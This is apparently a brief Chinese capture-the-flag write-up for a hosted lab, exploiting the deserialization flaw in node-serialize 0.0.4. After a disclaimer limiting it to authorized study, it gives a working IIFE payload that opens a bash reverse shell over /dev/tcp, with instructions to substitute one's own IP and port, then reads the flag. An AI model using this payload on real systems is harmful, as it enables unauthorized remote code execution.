声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
靶场介绍
在 Node.js 的 node-serialize 包 0.0.4 中发现了一个问题。传递到 unserialize() 函数的不受信任的数据可以被利用,通过传递带有立即调用函数表达式 (IIFE) 的 JavaScript 对象来实现任意代码执行。
春秋云镜开启靶场:
http://eci-2ze0ed42bccqlo04ham5.cloudeci1.ichunqiu.com/
账号随便输 密码需要自己构造payload
_$$ND_FUNC$$_function (){require('child_process').exec('bash -c "bash -i >& /dev/tcp/127.0.0.1/9991 0>&1"')}()
更改IP跟端口为自己的
登录
成功获得shell
获取flag
cat ../../../../../flag